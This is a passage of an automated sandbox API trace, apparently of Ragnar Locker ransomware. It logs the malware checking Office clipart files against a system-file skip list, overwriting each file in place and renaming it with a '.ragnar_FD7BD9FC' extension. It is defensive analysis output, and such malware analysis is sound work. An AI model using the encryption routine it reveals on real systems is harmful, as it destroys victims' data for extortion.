lpNumberOfBytesRead=0x1eaf34*=0x1bac, lpOverlapped=0x0) returned 1 [0082.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.561] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bac, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.561] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bac, lpOverlapped=0x0) returned 1 [0082.561] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.561] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.561] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.561] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.561] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.562] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.562] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.562] GetProcessHeap () returned 0x580000 [0082.562] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.562] CloseHandle (hObject=0xf4) returned 1 [0082.562] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" [0082.562] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ragnar_FD7BD9FC" [0082.562] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.562] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0082.562] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.563] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00693_.WMF" | out: lpString1="HH00693_.WMF") returned="HH00693_.WMF" [0082.563] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned=".WMF" [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="autorun.inf") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="boot.ini") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="bootfont.bin") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="bootsect.bak") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="bootmgr") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="bootmgr.efi") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="desktop.ini") returned 1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="iconcache.db") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="ntldr") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="ntuser.dat") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="ntuser.ini") returned -1 [0082.563] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="thumbs.db") returned -1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.563] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0082.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.564] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7098) returned 1 [0082.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.564] GetProcessHeap () returned 0x580000 [0082.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.564] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.565] VirtualAlloc (lpAddress=0x0, dwSize=0x1bba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.566] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.566] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bba, lpOverlapped=0x0) returned 1 [0082.566] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.566] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bba, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.567] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bba, lpOverlapped=0x0) returned 1 [0082.567] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.567] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.567] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.567] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.567] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.567] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.567] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.567] GetProcessHeap () returned 0x580000 [0082.567] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.567] CloseHandle (hObject=0xf4) returned 1 [0082.568] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" [0082.568] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ragnar_FD7BD9FC" [0082.568] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0082.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.568] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01013_.WMF" | out: lpString1="HH01013_.WMF") returned="HH01013_.WMF" [0082.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned=".WMF" [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="autorun.inf") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="boot.ini") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="bootfont.bin") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="bootsect.bak") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="bootmgr") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="bootmgr.efi") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="desktop.ini") returned 1 [0082.568] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="iconcache.db") returned -1 [0082.569] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="ntldr") returned -1 [0082.569] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="ntuser.dat") returned -1 [0082.569] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.569] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="ntuser.ini") returned -1 [0082.569] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="thumbs.db") returned -1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.569] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0082.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.570] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2848) returned 1 [0082.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.570] GetProcessHeap () returned 0x580000 [0082.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.570] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.571] VirtualAlloc (lpAddress=0x0, dwSize=0xb20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.571] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb20, lpOverlapped=0x0) returned 1 [0082.572] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.572] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb20, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.572] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb20, lpOverlapped=0x0) returned 1 [0082.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.572] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.572] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.572] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.572] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.572] GetProcessHeap () returned 0x580000 [0082.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.572] CloseHandle (hObject=0xf4) returned 1 [0082.573] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" [0082.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ragnar_FD7BD9FC" [0082.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0082.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.573] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01015_.WMF" | out: lpString1="HH01015_.WMF") returned="HH01015_.WMF" [0082.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned=".WMF" [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="autorun.inf") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="boot.ini") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="bootfont.bin") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="bootsect.bak") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="bootmgr") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="bootmgr.efi") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="desktop.ini") returned 1 [0082.573] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="iconcache.db") returned -1 [0082.574] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="ntldr") returned -1 [0082.574] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="ntuser.dat") returned -1 [0082.574] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.574] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="ntuser.ini") returned -1 [0082.574] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="thumbs.db") returned -1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.574] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0082.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.575] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1148) returned 1 [0082.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.575] GetProcessHeap () returned 0x580000 [0082.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.575] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.576] VirtualAlloc (lpAddress=0x0, dwSize=0x47c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.577] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x47c, lpOverlapped=0x0) returned 1 [0082.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.577] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x47c, lpOverlapped=0x0) returned 1 [0082.577] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47c, nNumberOfBytesToUnlockHigh=0x0) returned 